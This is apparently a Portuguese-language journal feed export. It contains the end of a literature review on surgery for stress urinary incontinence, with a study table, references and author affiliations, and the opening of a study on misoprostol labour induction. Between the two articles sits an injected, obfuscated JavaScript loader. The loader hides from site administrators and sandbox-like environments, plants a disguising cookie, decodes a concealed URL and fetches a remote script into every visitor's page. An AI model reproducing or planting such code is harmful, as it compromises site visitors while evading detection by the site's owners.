<p class="wp-block-paragraph">Esta análise apresenta e discute os resultados obtidos por meio da revisão integrativa da literatura. A análise dos estudos selecionados permitiu sintetizar as principais evidências científicas sobre os critérios de indicação cirúrgica, os tipos de procedimentos e as taxas de sucesso no tratamento da incontinência urinária de esforço (IUE), conforme detalhado nos parágrafos a seguir.</p>



<p class="has-text-align-center wp-block-paragraph"><strong>Tabela 1</strong>. Características dos estudos incluídos na revisão integrativa sobre indicações cirúrgicas para incontinência urinária de esforço.</p>



<figure class="wp-block-table has-small-font-size"><table class="has-fixed-layout"><tbody><tr><td><strong>BASE DE DADOS&nbsp;</strong></td><td><strong>ANO</strong>&nbsp;</td><td><strong>AUTOR</strong>&nbsp;</td><td><strong>TÍTULO</strong>&nbsp;</td><td><strong>OBJETIVO</strong>&nbsp;</td><td><strong>CONCLUSÃO</strong>&nbsp;</td></tr><tr><td><strong>MEDLINE/ Pub-</strong><strong>Med&nbsp;</strong></td><td>2019&nbsp;</td><td>HU, J. S.; PIERRE, E. F.&nbsp;</td><td>Incontinência urinária em mulheres: avaliação e tratamento.&nbsp;</td><td>Oferecer uma abordagem abrangente para a avaliação e o manejo da incontinência urinária (IU) em mulheres para o médico de atenção primária.&nbsp;</td><td>A principal conclusão é que, com base em uma anamnese cuidadosa e um exame físico completo, o médico de atenção primária pode iniciar o tratamento eficaz para a maioria das pacientes com incontinência urinária sem a necessidade de testes invasivos ou referência imediata a um subespecialista.&nbsp;</td></tr><tr><td><strong>SciELO&nbsp;&nbsp;</strong></td><td>2019&nbsp;</td><td>CASTRO, R.&nbsp;F. et al.&nbsp;&nbsp;</td><td>Comparação entre técnicas cirúrgicas para incontinência urinária de esforço.&nbsp;</td><td>Analisar a prevalência de recidivas da Incontinência Urinária de Esforço (IUE) em pacientes tratadas com diferentes técnicas cirúrgicas.&nbsp;</td><td>A conclusão indica que, para as técnicas cirúrgicas comparadas no estudo as taxas de recidiva da incontinência urinária de esforço entre as técnicas de&nbsp;Kelly-Kennedy&nbsp;(29,2%), Burch (39,1%) e Marshall-Marchetti Krantz (50%) não apresentaram diferença estatística significativa entre si.&nbsp;</td></tr><tr><td><strong>LILACS&nbsp;</strong></td><td>2020&nbsp;</td><td>SOUZA, A. L. et al.&nbsp;&nbsp;&nbsp;</td><td>Complicações cirúrgicas no tratamento da incontinência urinária feminina.&nbsp;</td><td>Sintetizar e analisar as principais complicações associadas aos diferentes tipos de procedimentos cirúrgicos utilizados para corrigir a incontinência&nbsp;urinária de esforço (IUE) em mulheres.&nbsp;</td><td>A conclusão ressalta que, embora as cirurgias de <em>sling</em> suburetral sejam o padrão-ouro e apresentem altas taxas de sucesso, elas não&nbsp;são isentas de riscos.&nbsp;</td></tr></tbody></table></figure>



<figure class="wp-block-table has-small-font-size"><table class="has-fixed-layout"><tbody><tr><td><strong>LILACS&nbsp;</strong></td><td>2020&nbsp;</td><td>SILVA, T. G. et al.&nbsp;&nbsp;</td><td>Resultados clínicos do sling suburetral em mulheres com IUE.&nbsp;</td><td>Avaliar a eficácia, segurança e os resultados funcionais (taxa de cura, complicações e impacto na qualidade de vida) do tratamento cirúrgico da IUE com o procedimento de sling suburetral de faixa média.&nbsp;</td><td>A conclusão do estudo tipicamente reafirma a posição do <em>sling</em> como padrão ouro para o tratamento cirúrgico da IUE.&nbsp;</td></tr><tr><td><strong>MEDLINE / Pub-</strong><strong>Med&nbsp;</strong></td><td>2020<strong>&nbsp;</strong></td><td>BRENNAND,&nbsp;E. A. et al.&nbsp;</td><td>Duas técnicas intraoperatórias para o tensionamento do sling de uretra média: um ensaio clínico randomizado e controlado&nbsp;</td><td>Avaliar se o uso de uma tesoura de Mayo como espaçador suburetral, comparado a uma pinça de Babcock segurando um laço da fita sob a uretra, resulta em diferentes taxas de desfechos vesicais anormais 12 meses após a cirurgia de sling suburetral retropúbico.&nbsp;</td><td>Os desfechos anormais da bexiga foram 12,9% menos frequentes para mulheres com slings suburetrais tensionados pela Babcock. Ambas as técnicas proporcionaram uma cura para a IUE, conforme relatado pelas pacientes, comparável aos 12 meses. Mulheres com slings suburetrais tensionados pela Tesoura experimentaram mais intervenção para obstrução, enquanto aquelas com slings tensionados pela Babcock experimentaram taxas mais altas de erosão da tela.&nbsp;</td></tr><tr><td><strong>MEDLINE/ Pub-</strong><strong>Med&nbsp;</strong></td><td>2021<strong>&nbsp;</strong></td><td>O’CONNOR,&nbsp;E. et al.&nbsp;&nbsp;</td><td>Diagnóstico e Manejo Não Cirúrgico da Incontinência&nbsp;Urinária&nbsp;</td><td>O objetivo de nosso estudo é fornecer uma visão geral da avaliação inicial de pacientes com IU, incluindo a&nbsp;anamnese, o exame físico e as investigações básicas.</td><td>Nossa revisão descreve as estratégias de manejo não cirúrgico para a IU, que incluem medidas conservadoras, terapias&nbsp;comportamentais e físicas, além do tratamento medicamentoso. Também examinaremos as diretrizes mencionadas e apresentaremos uma visão geral da literatura que abrange o diagnóstico e o manejo não cirúrgico da incontinência urinária.</td></tr></tbody></table></figure>



<figure class="wp-block-table has-small-font-size"><table class="has-fixed-layout"><tbody><tr><td><strong>LILACS&nbsp;&nbsp;</strong></td><td>2021<strong>&nbsp;</strong></td><td>MOURA, R.&nbsp;S. et al.&nbsp;</td><td>Sling transobturatório: análise de <br>resultados em longo&nbsp;prazo&nbsp;</td><td>Avaliar a taxa de cura subjetiva do <em>sling</em> transobturatório em longo prazo, incluindo a análise dos fatores de risco para falha e o impacto da experiência do cirurgião nos resultados.&nbsp;</td><td>Desta forma esta revisão permitiu identificar fatores de riscos significativos com a interface do usuário em mulheres, e espera-se o aumento da autoestima e melhora do convívio social, resultando em uma melhor qualidade de vida para essas mulheres.&nbsp;</td></tr><tr><td><strong>SciELO&nbsp;</strong></td><td>2021&nbsp;</td><td>BARBOSA,&nbsp;A. M. et al.&nbsp;&nbsp;&nbsp;</td><td>Sling associado à correção do prolapso genital: resultados funcionais.&nbsp;</td><td>Avaliar os resultados funcionais e a segurança da realização simultânea da correção cirúrgica do prolapso genital e da cirurgia de <em>sling.</em>&nbsp;</td><td>A conclusão deste tipo de estudo tende a ser a cirurgia combinada é um procedimento eficaz para o tratamento de pacientes que apresentam prolapso de órgão pélvico e incontinência urinária de esforço.&nbsp;</td></tr><tr><td><strong>LILACS&nbsp;</strong></td><td>2021&nbsp;</td><td>OLIVETTO,&nbsp;M. M.; SILVA LIMA, B. E.;&nbsp; DE ALEN-CAR, I.&nbsp;&nbsp;</td><td>A intervenção da fisioterapia no tratamento da incon-tinência urinária de esforço.&nbsp;</td><td>Discutir a importância do papel do profissional fisioterapeuta no cuidado de mulheres com incontinência urinária de esforço.&nbsp;</td><td>Entende-se que o fisioterapeuta e seus recursos têm um papel fundamental em auxiliar o tratamento de pacientes com incontinência urinária, principalmente para melhorar a&nbsp;qualidade de vida, fortalecer o assoalho pélvico e devolver o conforto para que possam realizar as tarefas diárias.</td></tr><tr><td colspan="2"><strong>LILACS </strong><strong></strong>2023<strong>&nbsp;</strong></td><td>CALDAS, G. P.; RODRIGUES, E. U.; CAVALLI, R.&nbsp;C.&nbsp;</td><td>Tratamento de incontinência urinária em mulheres.&nbsp;</td><td>Analisar o resultado do tratamento de mulheres com incontinência urinária diagnosticadas por estudo urodinâmico verificando aderência ao tratamento e influência na qualidade de vida.&nbsp;</td><td>As mulheres que realizam o tratamento completo e pelo tempo determinado tiveram maior índice de qualidade de vida em relação às que não realizaram. O tratamento que demonstrou melhor impacto na qualidade de vida foi cirúrgico associado à fisioterapia.&nbsp;</td></tr></tbody></table></figure>



<p class="has-text-align-center wp-block-paragraph"><strong>Fonte:</strong> Bases, 2025.&nbsp;</p>



<p class="wp-block-paragraph">É fundamental ressaltar que este estudo utilizou um recorte temporal de dez anos (20152025) para garantir uma visão abrangente das contribuições mais recentes na área, o que se alinha com a necessidade de explorar a evolução do tema na última década. Contudo, ao analisar a distribuição dos artigos incluídos, observou-se uma escassez de publicações entre 2015 e 2019 que atendessem a todos os critérios metodológicos de inclusão. Embora a maior parte da literatura consolidada emergiu a partir de 2019.&nbsp;</p>



<p class="wp-block-paragraph">A decisão de realizar uma cirurgia para a IUE não é tomada de forma isolada. Ela é resultado de uma avaliação minuciosa da paciente, baseada em múltiplos fatores. De acordo com Olivetto, Silva Lima e Alencar (2021) e os autores Caldas, Rodrigues e Cavalli (2023), a escolha da intervenção cirúrgica é considerada, principalmente, quando as abordagens conservadoras (como fisioterapia e exercícios para o assoalho pélvico) e farmacológicas não foram eficazes em resolver os sintomas.&nbsp;</p>



<p class="wp-block-paragraph">Para a indicação da cirurgia ser feita, ela é posterior a um diagnóstico que inclui um processo de histórico clínico detalhado, com etapas que englobam a anamnese, exame físico e exames complementares. Na análise de Hu e Pierre (2019) e Hage‐Fransen et al. (2020), a anamnese é fundamental para entender a natureza, gravidade e frequência dos sintomas, além de identificar fatores de risco (como gravidez, obesidade, tabagismo e cirurgias prévias) e comorbidades que podem influenciar o tratamento.&nbsp;</p>



<p class="wp-block-paragraph">Durante o exame físico, é realizado um exame pélvico essencial para avaliar o assoalho pélvico e detectar prolapso de órgãos pélvicos. Conforme Am et al. (2021), é crucial realizar testes demonstrativos de incontinência, como o teste da tosse ou da manobra de Valsalva. Por fim, os exames complementares, como a uroanálise, podem ser solicitados para descartar infecção. Em casos mais complexos, Hu e Pierre (2019) e O’Connor et al. (2021) indicam o estudo urodinâmico para confirmar o diagnóstico de IUE, especialmente em pacientes com sintomas persistentes ou comorbidades neurológicas.&nbsp;</p>



<p class="wp-block-paragraph">É importante destacar que a individualização é um ponto-chave. Casos de obesidade, prolapso de órgãos pélvicos, falhas em cirurgias prévias ou outras comorbidades exigem uma análise mais criteriosa, e a cirurgia pode ser combinada com outros procedimentos, conforme observado por Barbosa et al. (2021). A avaliação e análise do caso são individualizadas e cada mulher tem sua particularidade.&nbsp;</p>



<p class="wp-block-paragraph">No caso das indicações cirúrgicas para o tratamento da IUE, elas evoluíram bastante nas últimas décadas. Segundo Feliciano et al. (2019), atualmente, o padrão-ouro é a colocação de <em>slings</em> sintéticos suburetrais, que se destacam pela sua alta eficácia. As principais abordagens para o <em>sling </em>uretral médio (SUM) são o <em>sling</em> retropúbico (TVT) e o <em>sling</em> transobturatório (TOT). De acordo com a análise de Hu e Pierre (2019) e Brennand et al. (2020), o <em>sling</em> retropúbico é o mais tradicional, realizado por via retropúbica, enquanto o <em>sling</em> transobturatório foi introduzido para reduzir as complicações do TVT, evitando o espaço de Retzius e inserindo o <em>sling</em> entre os forames obturadores.&nbsp;</p>



<p class="wp-block-paragraph">Além dos <em>slings</em> sintéticos, existem as operações de <em>sling</em> tradicionais que utilizam materiais biológicos ou sintéticos, buscando restaurar o suporte uretral e prevenir a perda de urina durante o esforço, como detalhado por Saraswat et al. (2020). Outra abordagem técnica é a colpossuspensão de Burch. Castro et al. (2019) explicam que essa alternativa é menos utilizada atualmente devido às vantagens dos <em>slings</em>, como menor tempo cirúrgico e de internação, e recuperação mais rápida.&nbsp;</p>



<p class="wp-block-paragraph">As técnicas cirúrgicas para IUE demonstram resultados promissores. Moura et al. (2021) e Silva et al. (2020) mostram que os <em>slings</em> suburetrais apresentam altas taxas de sucesso clínico, que variam entre 80% e 95% em um período de cinco anos após o procedimento. Além disso,&nbsp;Silva et al. (2020) relatam que os índices de satisfação das pacientes geralmente superam 85%.&nbsp;</p>



<p class="wp-block-paragraph">No que diz respeito à comparação entre os tipos de <em>slings</em>, o <em>sling</em> transobturatório tem mostrado resultados positivos. Com base nas análises de Hu e Pierre (2019) e Brennand et al. (2020), pacientes que se submeteram a essa abordagem tiveram menos impactos negativos na qualidade de vida, menos sintomas de urgência urinária e menos disfunção sexual, quando comparadas àquelas que receberam o <em>sling</em> retropúbico em análises de longo prazo.&nbsp;</p>



<p class="wp-block-paragraph">No entanto, é importante notar que a cirurgia não é isenta de riscos. Souza et al. (2020) e Castro et al. (2019) listam as possíveis complicações, que incluem perfuração vesical, dor pélvica crônica e retenção urinária transitória. A escolha da técnica deve levar em conta esses riscos, além de fatores como a recidiva dos sintomas e o impacto na função miccional.&nbsp;</p>



<p class="wp-block-paragraph">A partir da análise dos estudos, evidencia-se que a decisão e a escolha da técnica cirúrgica para o tratamento da incontinência urinária de esforço não podem ser baseadas apenas na eficácia do procedimento, mas devem ser precedidas por uma avaliação diagnóstica abrangente e rigorosa. Barbosa et al. (2021), Hu e Pierre (2019) e O’Connor et al. (2021) convergem no argumento de que a correta identificação do tipo de incontinência, dos fatores de risco, das comorbidades e da presença de outras condições, como o prolapso de órgãos pélvicos, é essencial para guiar a indicação cirúrgica e selecionar o procedimento mais adequado.&nbsp;</p>



<p class="wp-block-paragraph">Essa individualização na abordagem é fundamental para otimizar os resultados, elevando as altas taxas de sucesso já demonstradas na literatura e minimizando riscos e complicações, como retenção urinária ou dor pélvica, garantindo assim uma melhora significativa na qualidade de vida da paciente (Brennand et al., 2020; Castro et al., 2019; Souza et al., 2020).&nbsp;</p>



<p class="wp-block-paragraph"><strong>4.</strong> <strong>CONCLUSÃO&nbsp;</strong></p>



<p class="wp-block-paragraph">O presente estudo atingiu seus objetivos ao analisar as indicações cirúrgicas e a eficácia dos procedimentos para a incontinência urinária de esforço (IUE). As evidências demonstram que as técnicas cirúrgicas, como a colocação de slings sintéticos suburetrais (TVT e TOT), apresentam alta eficácia e constituem o tratamento principal para pacientes refratárias a terapias conservadoras.&nbsp;</p>



<p class="wp-block-paragraph">A principal contribuição da pesquisa está na consolidação de que o sucesso terapêutico depende de um processo diagnóstico que antecede a cirurgia. A escolha da técnica cirúrgica mais adequada demanda uma avaliação individualizada do histórico clínico e das comorbidades da paciente. Em termos práticos, esta análise reforça que a personalização da abordagem otimiza os resultados clínicos a longo prazo e minimiza o risco de complicações pós-operatórias. O aprofundamento do conhecimento sobre as vantagens e desvantagens de cada <em>sling</em> é crucial para garantir a tomada de decisão compartilhada e informada entre médico e paciente. As evidências reforçam a necessidade de mais estudos comparativos diretos e de longo prazo, a fim de estabelecer diretrizes clínicas ainda mais específicas para cada perfil de paciente com IUE.&nbsp;</p>



<p class="wp-block-paragraph"><strong>REFERÊNCIAS&nbsp;</strong></p>



<p class="wp-block-paragraph">ABREU, L.; ALMEIDA, T. A.; SOUZA, L. C. Intervenções fisioterapêuticas como tratamento da incontinência urinária em mulheres: uma revisão integrativa da literatura. <strong>Revista Amazônica de Ciências Médicas e Saúde</strong>, v. 1, n. 1, p. 133-143, 2025.&nbsp;</p>



<p class="wp-block-paragraph">ABREU, L. R. et al. Incontinência urinária feminina: prevalência e fatores de risco. <strong>Revista Brasileira de Ginecologia e Obstetrícia</strong>, v. 42, n. 3, p. 147-153, 2020.&nbsp;</p>



<p class="wp-block-paragraph">AM, M. Evaluation and management of female urinary incontinence. <strong>The Canadian journal of urology</strong>, v. 28, n. S2, 2021.&nbsp;</p>



<p class="wp-block-paragraph">BARBOSA, A. M. et al. Sling associado à correção do prolapso genital: resultados funcionais. <strong>Femina</strong>, v. 49, n. 9, p. 485-491, 2021.&nbsp;</p>



<p class="wp-block-paragraph">BRENNAND, E. A. et al. Two Intraoperative Techniques for Midurethral Sling Tensioning. <strong>Obstetrics &amp; Gynecology</strong>, v. 136, n. 3, p. 471–481, 5 ago. 2020.&nbsp;</p>



<p class="wp-block-paragraph">CALDAS, G. P.; RODRIGUES, E. U.; CAVALLI, R. C. Tratamento de incontinência urinária em mulheres. <strong>BioSCIENCE</strong>, v. 81, n. 2, p. 6-6, 2023.&nbsp;</p>



<p class="wp-block-paragraph">CASTRO, R. F. et al. Comparação entre técnicas cirúrgicas para incontinência urinária de esforço. <strong>Revista da Associação Médica Brasileira</strong>, v. 65, n. 8, p. 1032-1038, 2019.&nbsp;</p>



<p class="wp-block-paragraph">COELHO, J. S. <strong>Avaliação do conhecimento, atitude e prática sobre a incontinência urinária e o impacto na qualidade de vida de mulheres praticantes de exercícios físicos</strong>. 2024. 117 f. Dissertação (Mestrado Profissional em Saúde da Mulher e da Criança) &#8211; Faculdade de Medicina, Universidade Federal do Ceará, Fortaleza, 2024.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">DUARTE, S. M. A. <strong>Incontinência urinária em praticantes femininas de halterofilismo e seu bem-estar: um estudo de caso</strong>. 2023. Tese de Doutorado.&nbsp;</p>



<p class="wp-block-paragraph">FELICIANO, J. P. et al. Sling sintético: padrão ouro no tratamento da incontinência urinária? <strong>Revista Urologia em Foco</strong>, v. 26, n. 2, p. 90-96, 2019.&nbsp;</p>



<p class="wp-block-paragraph">GIUSTI, J. L. et al. Epidemiologia da incontinência urinária feminina: um panorama nacional. <strong>Acta Obstet. Bras.</strong>, v. 12, n. 1, p. 12-18, 2018.&nbsp;</p>



<p class="wp-block-paragraph">HAGE-FRANSEN, M. A. H. et al. Pregnancy- and obstetric-related risk factors for urinary incontinence, fecal incontinence, or pelvic organ prolapse later in life: a systematic review and meta-analysis. <strong>Acta Obstetricia et Gynecologica Scandinavica</strong>, v. 100, n. 3, p. 373–382, 2 nov. 2020.&nbsp;</p>



<p class="wp-block-paragraph">HU, J. S.; PIERRE, E. F. Urinary Incontinence in Women: Evaluation and Management. <strong>American family physician</strong>, v. 100, n. 6, 2019.&nbsp;</p>



<p class="wp-block-paragraph">IZIDRO, K. et al. Incontinência urinária em dissertações e teses produzidas no cenário nacional: scoping review. In: <strong>Teoria e prática de enfermagem: da atenção básica à alta complexidade-volume 2</strong>. [S. l.]: [s. n.], 2021. p. 319-339.&nbsp;</p>



<p class="wp-block-paragraph">MOREIRA, R. A. et al. Validação de instrumento brasileiro para mapeamento dos fatores de risco e diagnóstico precoce de incontinência urinária feminina. <strong>Enfermería: Cuidados Humanizados</strong>, v. 13, n. 1, 2024.&nbsp;</p>



<p class="wp-block-paragraph">MOSER, B. A. et al. Incontinência urinária em idosos-tratamento e reabilitação. <strong>Anais do Seminário Científico do UNIFACIG</strong>, n. 4, 2022.&nbsp;</p>



<p class="wp-block-paragraph">MOURA, R. S. et al. Sling transobturatório: análise de resultados em longo prazo. <strong>Revista Uro</strong>, v. 39, n. 4, p. 213-218, 2021.&nbsp;</p>



<p class="wp-block-paragraph">O’CONNOR, E. et al. Diagnosis and Non-Surgical Management of Urinary Incontinence &#8211; A Literature Review with Recommendations for Practice. <strong>International Journal of General Medicine</strong>, v. 14, p. 4555–4565, ago. 2021.&nbsp;</p>



<p class="wp-block-paragraph">OLIVETTO, M. M.; SILVA LIMA, B. E.; DE ALENCAR, I. A intervenção da fisioterapia no tratamento da incontinência urinária de esforço. <strong>Research, Society and Development</strong>, v. 10, n. 12, p. e319101220568-e319101220568, 2021.&nbsp;</p>



<p class="wp-block-paragraph">ROCHA, G. C. et al. Incontinência urinária em idosos: uma revisão abrangente de epidemiologia, biopatologia, manifestações clínicas, diagnóstico e tratamento. <strong>Seven Editora</strong>, p. 65-79, 2024.&nbsp;</p>



<p class="wp-block-paragraph">RODRIGUES, B. M.; IAMAMOTO, R. C. T. Impacto na qualidade de vida de mulheres com incontinência urinária: estudo de revisão. <strong>Revista eletrônica do centro universitário de jales (REUNI)</strong>, 2022.&nbsp;</p>



<p class="wp-block-paragraph">SARASWAT, L. et al. Traditional suburethral sling operations for urinary incontinence in women. <strong>Cochrane Database of Systematic Reviews</strong>, v. 2020, n. 1, 28 jan. 2020.&nbsp;</p>



<p class="wp-block-paragraph">SILVA, A. E. C. et al. Incontinência urinária de esforço na mulher: aspectos etiopatogênicos, métodos diagnósticos e manejo cirúrgico com técnicas de sling. <strong>Brazilian Journal of Health Review</strong>, v. 6, n. 4, p. 13977-13990, 2023.&nbsp;</p>



<p class="wp-block-paragraph">SILVA, T. G. et al. Resultados clínicos do sling suburetral em mulheres com IUE. <strong>Ver. Bras. Ginecol. Obstet.</strong>, v. 42, n. 8, p. 512-519, 2020.&nbsp;</p>



<p class="wp-block-paragraph">SOUZA, A. L. et al. Complicações cirúrgicas no tratamento da incontinência urinária feminina. <strong>Ver. Bras. Uroginecol.</strong>, v. 13, n. 1, p. 55-61, 2020.</p>



<p class="wp-block-paragraph">WIBELINGER, L. M. et al. Disfunções Musculoesqueléticas IX: Prevenção e Reabilitação. <strong>Conhecer</strong>, 2025.</p>



<hr class="wp-block-separator has-text-color has-ast-global-color-2-color has-alpha-channel-opacity has-ast-global-color-2-background-color has-background is-style-wide"/>



<p class="has-text-align-right wp-block-paragraph"><sup>1</sup>Discente de Medicina do Centro Universitário de João Pessoa – UNIPÊ.<br><sup>2</sup>Discente de Medicina do Centro Universitário de João Pessoa – UNIPÊ.<br><sup>3</sup>Discente de Medicina do Centro Universitário de João Pessoa – UNIPÊ.<br><sup>4</sup>Discente de Medicina do Centro Universitário de João Pessoa – UNIPÊ.<br><sup>5</sup>Docente graduado em Medicina pela Universidade da Paraíba (UFPB), mestre em Administração pela Universidade Federal da Paraíba (UFPB), e professor do Centro Universitário de João Pessoa – UNIPÊ.<br><sup>6</sup>Docente Coordenadora do Núcleo de Acessibilidade Institucional vinculado ao curso de Medicina do Centro Universitário de João Pessoa – UNIPÊ e Mestre em Educação Profissional e Tecnologia.</p>
<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script>]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>TAXA DE SUCESSO DE INDUÇÃO DE TRABALHO DE PARTO COM MISOPROSTOL EM GESTANTES DE UMA MATERNIDADE DE ALTO RISCO EM BELÉM-PA</title>
		<link>https://revistaft.com.br/taxa-de-sucesso-de-inducao-de-trabalho-de-parto-com-misoprostol-em-gestantes-de-uma-maternidade-de-alto-risco-em-belem-pa/</link>
		
		<dc:creator><![CDATA[Revistaft CL]]></dc:creator>
		<pubDate>Thu, 11 Dec 2025 15:25:08 +0000</pubDate>
				<category><![CDATA[Medicina]]></category>
		<category><![CDATA[Volume 29 – Edição 153/DEZ 2025]]></category>
		<guid isPermaLink="false">https://revistaft.com.br/?p=258828</guid>

					<description><![CDATA[REGISTRO DOI: 10.69849/revistaft/cl10202512111224 Emanuely Magno da SilvaOrientadora: Profa. Me. Florentina do Socorro Martins Balbi. RESUMO A indução do parto consiste em qualquer procedimento que estimula a contração uterina antes do trabalho de parto de forma espontânea. As principais indicações para indução do parto são ruptura de membranas antes do parto e gestações prolongadas. Os métodos [&#8230;]]]></description>
										<content:encoded><![CDATA[
<p class="has-text-align-center wp-block-paragraph">REGISTRO DOI: 10.69849/revistaft/cl10202512111224</p>



<hr class="wp-block-separator has-text-color has-ast-global-color-1-color has-alpha-channel-opacity has-ast-global-color-1-background-color has-background is-style-wide"/>



<p class="has-text-align-right wp-block-paragraph">Emanuely Magno da Silva<br>Orientadora: Profa. Me. Florentina do Socorro Martins Balbi.</p>



<hr class="wp-block-separator has-text-color has-ast-global-color-1-color has-alpha-channel-opacity has-ast-global-color-1-background-color has-background is-style-wide"/>



<p class="wp-block-paragraph"><strong>RESUMO</strong></p>



<p class="wp-block-paragraph">A indução do parto consiste em qualquer procedimento que estimula a contração uterina antes do trabalho de parto de forma espontânea. As principais indicações para indução do parto são ruptura de membranas antes do parto e gestações prolongadas. Os métodos utilizados para preparar o colo do útero podem ser mecânicos e farmacológicos, sendo a técnica farmacológica a principal com o uso de produtos de prostaglandinas, como o misoprostol. A decisão sobre iniciar a indução do trabalho de parto envolve indicações patológicas e desejo materno. Quando bem indicada, a indução evita a realização desnecessária de uma cesariana. Desse modo, o objetivo deste trabalho consiste em verificar a taxa de sucesso de indução de trabalho de parto com misoprostol em gestantes de uma maternidade de alto risco em Belém-PA. Trata-se de um estudo do tipo transversal observacional descritivo retrospectivo. A pesquisa foi realizada na Fundação Santa Casa de Misericórdia do Pará (FSCMPA) a partir de consulta em prontuário eletrônico.&nbsp; Foram coletados dados de 243 gestantes no período entre janeiro a abril de 2024, sendo a maioria com idade entre 19-35 anos e com ensino médio completo, provenientes de Belém e região metropolitana. A maioria das gestantes eram primigestas, sendo o principal motivo da indução a ruptura prematura de membranas ovulares. Quanto à idade gestacional, a maioria estava entre 37-38 semanas e 6 dias de gestação. A maioria das gestantes não tinha uma patologia prévia e a maioria evoluiu para o trabalho de parto em 12 horas. O principal motivo para interrupção da indução e indicação de parto cesáreo foi sofrimento fetal agudo. Houve mais de 50% de taxa de sucesso de indução com misoprostol, sendo menos de 20% de falhas de indução. Logo, percebe-se a importância do uso do misoprostol dentro da obstetrícia para redução do número de cesáreas e o incentivo para o parto vaginal.</p>



<p class="wp-block-paragraph"><strong>Palavras-chave</strong>: Trabalho de Parto Induzido; Misoprostol; Gestação de Alto Risco; Epidemiologia.</p>



<p class="wp-block-paragraph"><strong>ABSTRACT</strong></p>



<p class="wp-block-paragraph">Labor induction is any procedure that stimulates uterine contractions before spontaneous labor. The main indications for labor induction are prepartum rupture of membranes and prolonged pregnancies. The methods used to prepare the cervix can be mechanical and pharmacological, with the pharmacological technique being the main one, using prostaglandin products, such as misoprostol. The decision to initiate labor induction involves pathological indications and maternal desire. When well indicated, induction avoids unnecessary cesarean section. Thus, the objective of this study is to verify the success rate of labor induction with misoprostol in pregnant women at a high-risk maternity hospital in Belém-PA. This is a cross-sectional, observational, descriptive, retrospective study. The research was conducted at the Santa Casa de Misericórdia do Pará Foundation (FSCMPA) based on consultation of electronic medical records. Data were collected from 243 pregnant women between January and April 2024, most of whom were between 19 and 35 years old and had completed high school, from Belém and the metropolitan region. Most of the pregnant women were primiparous, and the main reason for induction was premature rupture of ovular membranes. Regarding gestational age, most were between 37 and 38 weeks and 6 days of gestation. Most of the pregnant women did not have any previous pathology and most progressed to labor within 12 hours. The main reason for interrupting induction and indicating cesarean delivery was acute fetal distress. There was a success rate of more than 50% of induction with misoprostol, with less than 20% of induction failures. Therefore, the importance of using misoprostol within obstetrics to reduce the number of cesarean sections and encourage vaginal delivery.&nbsp;</p>



<p class="wp-block-paragraph"><strong>Keywords:</strong> Induced Labor; Misoprostol; High-Risk Pregnancy; Epidemiology.</p>



<p class="wp-block-paragraph"><strong>1.</strong> <strong>CONSIDERAÇÕES INICIAIS</strong></p>



<p class="wp-block-paragraph">A indução do parto consiste em qualquer procedimento que estimula a contração uterina antes do trabalho de parto de forma espontânea (Godoy, 2017; Yousef; Getachew, 2021). A decisão de induzir o parto é tomada quando a continuidade da gravidez está associada ao aumento do risco materno ou fetal e não há contraindicação para o parto vaginal (Correa <em>et al</em>., 2022). As principais indicações para indução do parto são ruptura de membranas antes do parto e gestações prolongadas (Kerr <em>et al</em>., 2021). Os métodos utilizados para preparar o colo do útero podem ser mecânicos e farmacológicos, sendo a técnica farmacológica a principal com o uso de produtos de prostaglandinas, como o misoprostol.</p>



<p class="wp-block-paragraph">O misoprostol é um composto relacionado à prostaglandina E1, tem alguns benefícios potenciais em relação a outras prostaglandinas como: estável à temperatura ambiente, barato e pode ser administrado por via oral, vaginal e sublingual (Dadashaliba <em>et al</em>., 2021). Além disso, tem a vantagem de ter um tempo de indução mais curto para o parto, maior taxa de parto vaginal, menor necessidade de ocitocina e menor taxa de parto operatório quando comparado com outros métodos de indução, incluindo ocitocina (Datta <em>et al.</em>, 2023).</p>



<p class="wp-block-paragraph">A indução com misoprostol às vezes falha com riscos potenciais de uma taxa mais elevada de parto vaginal operatório, parto cesáreo, atividade uterina excessiva, padrões anormais de frequência cardíaca fetal, ruptura uterina, intoxicação materna por água, parto de um bebê prematuro devido à estimativa incorreta de datas e, possivelmente, cordão prolapso (Yousef; Getachew, 2021).</p>



<p class="wp-block-paragraph">Não há um consenso sobre o conceito de indução bem-sucedida do parto. Na literatura há autores que consideram indicador de sucesso o parto vaginal entre 24 e 48h após o início da indução (Chatsis; Frey, 2018).&nbsp; Outros consideram a indução do parto bem-sucedida quando ocorreu o parto vaginal não operatório, sem o uso de fórceps ou vácuo-extrator (Correa <em>et al.</em>, 2022).</p>



<p class="wp-block-paragraph">Desse modo, o misoprostol tem sido indicado como uma opção segura de amadurecimento cervical, sendo assim faz-se necessário verificar suas taxas de sucesso na indução do trabalho de parto em uma maternidade de alto risco.&nbsp;</p>



<p class="wp-block-paragraph"><strong>1.2 Objetivos</strong></p>



<p class="wp-block-paragraph"><strong>1.2.1. Objetivo geral:&nbsp;</strong></p>



<ul class="wp-block-list">
<li>Verificar a taxa de sucesso de indução de trabalho de parto com misoprostol em gestantes de uma maternidade de alto risco em Belém-PA</li>
</ul>



